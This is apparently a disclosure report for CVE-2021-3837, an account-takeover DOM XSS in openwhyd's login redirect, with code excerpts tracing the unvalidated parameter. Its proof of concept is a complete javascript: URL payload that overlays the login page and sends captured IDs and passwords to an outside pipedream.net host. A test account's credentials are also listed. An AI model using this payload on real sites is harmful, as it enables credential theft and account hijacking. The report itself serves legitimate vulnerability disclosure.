Headline
CVE-2021-3837: Improper Authorization in openwhyd
openwhyd is vulnerable to Improper Authorization
Description
This Account Takeover via Dom XSS vulnerability occurs because the backend does not check the value of the redirect parameter in the login logic.
if (form.fbUid)
userModel.update(dbUser._id, {
$set: {
fbId: form.fbUid,
fbTok: form.fbTok, // access token provided on last facebook login
},
});
renderRedirect(form.redirect || '/', dbUser);
return; // prevent default response (renderForm)
} else if (form.action != 'logout') {
form.wrongPassword = 1;
form.error = 'Your password seems wrong... Try again!';
}
// https://github.com/openwhyd/openwhyd/blob/8fa2e93dac63e480393aedeb47088a9294e532f2/app/controllers/api/login.js#L80
If look at the login logic, upon successful login, the renderRedirect() function is called, and the redirect value is passed as an argument value of renderRedirect() function without any verification
// in case of successful login
function renderRedirect(url, user) {
request.session.whydUid = (user || {}).id;
if (!form.ajax) response.renderHTML(loggingTemplate.htmlRedirect(url));
else {
var json = { redirect: url };
if (form.includeUser) {
userApi.fetchUserData(user, function (user) {
json.user = user;
renderJSON(json);
});
} else renderJSON(json);
}
}
// https://github.com/openwhyd/openwhyd/blob/8fa2e93dac63e480393aedeb47088a9294e532f2/app/controllers/api/login.js#L26
The above code is executed when login is successful. I could see calling the htmlRedirect() method in the first if statement in the renderRedirect() function.
exports.htmlRedirect = function (url) {
return url == 'closeWindow'
? exports.htmlCloseWindow()
: [
'<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">',
'<html>',
'<head>',
'<title>Openwhyd is redirecting...</title>',
'<meta http-equiv="REFRESH" content="3;url=' + url + '"></HEAD>',
'<BODY>',
'You are being redirected to: <a href="' + url + '">' + url + '</a>...',
'<script>window.location.href="' + url + '";</script>',
'</BODY>',
'</HTML>',
].join('\n');
};
// https://github.com/openwhyd/openwhyd/blob/master/app/templates/logging.js#L54
If analyze the htmlRedirect() method, you can see that the value of url is put as the href value of the a tag without any verification. If it is possible to insert a javascript: scheme as a value of url, XSS can be triggered.
Look at the picture above, you can see that the value of the Redirect parameter is inserted as an input tag!
You can see that the new login page is loaded with IFRAME on successful login!
Finally, click on the screen and your user account will be transferred to the hacker’s server!
Proof of Concept
1. Open the https://openwhyd.org/login?redirect=javascript:f=document.createElement(%22iframe%22);f.setAttribute(%22id%22,%22poc%22);f.setAttribute(%22style%22,%22overflow:hidden;overflow-x:hidden;overflow-y:hidden;height:100%;width:100%;position:absolute;top:0px;left:0px;right:0px;bottom:0px%22);f.src=%22https://openwhyd.org/login%22;document.getElementsByTagName(%22body%22)[0].appendChild(f);setTimeout(()=%3Edocument.getElementsByTagName(%27iframe%27)[0].contentDocument.getElementById(%27contentPane%27).addEventListener(%22click%22,function(){location.replace(`https://79a9bb50560aa2c77156e03b431dc2b3.m.pipedream.net/?ID=${document.getElementsByTagName(%27iframe%27)[0].contentDocument.getElementsByTagName(%27input%27)[5].value}%26PW=${document.getElementsByTagName(%27iframe%27)[0].contentDocument.getElementsByTagName(%27input%27)[6].value}`)}),1000);
2. Log in.
3. If you click the screen after 1 second after successful login, your account will be hijacked to the hacker's server!
Test Account
> ID : [email protected]
> PW : qwer1202@
Video : https://www.youtube.com/watch?v=jeoPB10-S60
Impact
It is free to run scripts in the victim’s browser.